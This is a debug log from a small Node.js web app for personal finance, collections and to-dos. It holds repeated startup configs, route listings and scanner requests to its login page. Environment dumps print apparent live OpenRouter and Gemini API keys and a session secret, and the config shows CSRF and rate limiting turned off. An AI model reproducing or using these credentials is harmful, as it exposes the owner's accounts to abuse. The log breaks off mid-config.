2026-06-22T15:35:27.590Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-22T15:35:27.593Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-22T15:35:27.594Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-22T15:35:27.596Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-22T15:35:27.602Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-22T15:35:27.605Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-22T15:35:27.609Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-22T15:35:27.609Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-22T15:35:27.612Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-22T15:35:27.614Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-22T15:35:27.617Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-22T15:35:27.617Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-22T15:35:27.620Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-22T15:35:27.622Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-22T15:35:27.624Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-22T15:35:27.630Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-22T15:35:27.634Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-22T15:35:27.636Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-22T15:35:27.645Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-23T17:49:47.377Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-23T17:49:49.587Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-23T17:49:50.450Z server-connect:setup:upload Upload middleware configured.
2026-06-23T17:49:50.451Z server-connect:secure CSRF Protection initialized
2026-06-23T17:49:50.456Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-23T17:49:50.460Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-23T17:49:50.461Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-23T17:49:50.462Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-23T17:49:50.468Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-23T17:49:50.473Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-23T17:49:50.486Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-23T17:49:50.498Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-23T17:49:50.503Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-23T17:49:50.504Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-23T17:49:50.507Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-23T17:49:50.511Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-23T17:49:50.516Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-23T17:49:50.527Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-23T17:49:50.530Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-23T17:49:50.602Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-23T17:49:50.604Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-23T17:49:50.609Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-23T17:49:50.614Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-23T17:49:50.618Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-23T17:49:50.620Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-23T17:49:50.629Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-23T17:49:50.629Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-23T17:49:50.636Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-23T17:49:50.636Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-23T17:49:50.642Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-23T17:49:50.642Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-23T17:49:50.645Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-23T17:49:50.650Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-23T17:49:50.654Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-23T17:49:50.654Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-23T17:49:50.658Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-23T17:49:50.662Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-23T17:49:50.662Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-23T17:49:50.669Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-23T17:49:50.674Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-23T17:49:50.674Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-23T17:49:50.686Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-23T17:49:51.175Z server-connect:router Serving templateView /
2026-06-23T17:49:51.223Z server-connect:app Executing action step identify
2026-06-23T17:49:51.223Z server-connect:app options: { provider: 'security' }
2026-06-23T17:49:51.235Z server-connect:auth No login cookie found
2026-06-23T17:49:51.235Z server-connect:output identity: false
2026-06-23T17:49:51.235Z server-connect:app Executing action step restrict
2026-06-23T17:49:51.235Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-23T17:49:51.239Z server-connect:output restrict: undefined
2026-06-23T17:49:51.948Z server-connect:router Serving templateView /login
2026-06-23T17:49:51.949Z server-connect:app Executing action step identify
2026-06-23T17:49:51.949Z server-connect:app options: { provider: 'security' }
2026-06-23T17:49:51.949Z server-connect:auth No login cookie found
2026-06-23T17:49:51.949Z server-connect:output identity: false
2026-06-23T17:49:51.949Z server-connect:router Render template layouts/authentication
2026-06-23T17:49:51.950Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.31',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-24T17:49:51.947Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.31',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.31',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-23T20:50:32.074Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-23T20:50:34.341Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-23T20:50:35.203Z server-connect:setup:upload Upload middleware configured.
2026-06-23T20:50:35.203Z server-connect:secure CSRF Protection initialized
2026-06-23T20:50:35.208Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-23T20:50:35.211Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-23T20:50:35.212Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-23T20:50:35.214Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-23T20:50:35.223Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-23T20:50:35.224Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-23T20:50:35.238Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-23T20:50:35.250Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-23T20:50:35.255Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-23T20:50:35.257Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-23T20:50:35.259Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-23T20:50:35.263Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-23T20:50:35.269Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-23T20:50:35.278Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-23T20:50:35.283Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-23T20:50:35.353Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-23T20:50:35.354Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-23T20:50:35.359Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-23T20:50:35.364Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-23T20:50:35.368Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-23T20:50:35.370Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-23T20:50:35.378Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-23T20:50:35.380Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-23T20:50:35.386Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-23T20:50:35.388Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-23T20:50:35.392Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-23T20:50:35.394Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-23T20:50:35.396Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-23T20:50:35.402Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-23T20:50:35.404Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-23T20:50:35.408Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-23T20:50:35.408Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-23T20:50:35.413Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-23T20:50:35.415Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-23T20:50:35.421Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-23T20:50:35.425Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-23T20:50:35.427Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-23T20:50:35.437Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-24T10:06:52.555Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-24T10:06:54.825Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-24T10:06:55.690Z server-connect:setup:upload Upload middleware configured.
2026-06-24T10:06:55.690Z server-connect:secure CSRF Protection initialized
2026-06-24T10:06:55.696Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-24T10:06:55.698Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-24T10:06:55.698Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-24T10:06:55.701Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-24T10:06:55.706Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-24T10:06:55.712Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-24T10:06:55.724Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-24T10:06:55.737Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-24T10:06:55.741Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-24T10:06:55.743Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-24T10:06:55.745Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-24T10:06:55.749Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-24T10:06:55.756Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-24T10:06:55.764Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-24T10:06:55.770Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-24T10:06:55.839Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-24T10:06:55.840Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-24T10:06:55.845Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-24T10:06:55.850Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-24T10:06:55.855Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-24T10:06:55.855Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-24T10:06:55.867Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-24T10:06:55.867Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-24T10:06:55.875Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-24T10:06:55.875Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-24T10:06:55.880Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-24T10:06:55.882Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-24T10:06:55.884Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-24T10:06:55.891Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-24T10:06:55.891Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-24T10:06:55.893Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-24T10:06:55.896Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-24T10:06:55.900Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-24T10:06:55.900Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-24T10:06:55.907Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-24T10:06:55.911Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-24T10:06:55.913Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-24T10:06:55.923Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-24T10:06:56.412Z server-connect:router Serving templateView /
2026-06-24T10:06:56.414Z server-connect:app Executing action step identify
2026-06-24T10:06:56.415Z server-connect:app options: { provider: 'security' }
2026-06-24T10:06:56.417Z server-connect:auth No login cookie found
2026-06-24T10:06:56.417Z server-connect:output identity: false
2026-06-24T10:06:56.417Z server-connect:app Executing action step restrict
2026-06-24T10:06:56.417Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-24T10:06:56.420Z server-connect:output restrict: undefined
2026-06-24T15:50:37.742Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-24T15:50:40.012Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-24T15:50:40.875Z server-connect:setup:upload Upload middleware configured.
2026-06-24T15:50:40.875Z server-connect:secure CSRF Protection initialized
2026-06-24T15:50:40.881Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-24T15:50:40.883Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-24T15:50:40.884Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-24T15:50:40.885Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-24T15:50:40.893Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-24T15:50:40.900Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-24T15:50:40.912Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-24T15:50:40.925Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-24T15:50:40.930Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-24T15:50:40.931Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-24T15:50:40.932Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-24T15:50:40.935Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-24T15:50:40.942Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-24T15:50:40.952Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-24T15:50:40.956Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-24T15:50:41.029Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-24T15:50:41.030Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-24T15:50:41.035Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-24T15:50:41.040Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-24T15:50:41.043Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-24T15:50:41.045Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-24T15:50:41.053Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-24T15:50:41.056Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-24T15:50:41.061Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-24T15:50:41.064Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-24T15:50:41.068Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-24T15:50:41.068Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-24T15:50:41.072Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-24T15:50:41.076Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-24T15:50:41.080Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-24T15:50:41.080Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-24T15:50:41.084Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-24T15:50:41.088Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-24T15:50:41.088Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-24T15:50:41.094Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-24T15:50:41.098Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-24T15:50:41.100Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-24T15:50:41.110Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-24T15:50:41.655Z server-connect:router Serving templateView /
2026-06-24T15:50:41.715Z server-connect:app Executing action step identify
2026-06-24T15:50:41.715Z server-connect:app options: { provider: 'security' }
2026-06-24T15:50:41.728Z server-connect:auth No login cookie found
2026-06-24T15:50:41.728Z server-connect:output identity: false
2026-06-24T15:50:41.728Z server-connect:app Executing action step restrict
2026-06-24T15:50:41.728Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-24T15:50:41.732Z server-connect:output restrict: undefined
2026-06-24T15:50:41.845Z server-connect:router Serving templateView /login
2026-06-24T15:50:41.846Z server-connect:app Executing action step identify
2026-06-24T15:50:41.846Z server-connect:app options: { provider: 'security' }
2026-06-24T15:50:41.846Z server-connect:auth No login cookie found
2026-06-24T15:50:41.846Z server-connect:output identity: false
2026-06-24T15:50:41.846Z server-connect:router Render template layouts/authentication
2026-06-24T15:50:41.847Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36',
    accept: '*/*',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '54.144.190.193',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-25T15:50:41.844Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '54.144.190.193',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/131.0.0.0 Safari/537.36',
    HTTP_ACCEPT: '*/*',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '54.144.190.193',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-24T20:42:20.300Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
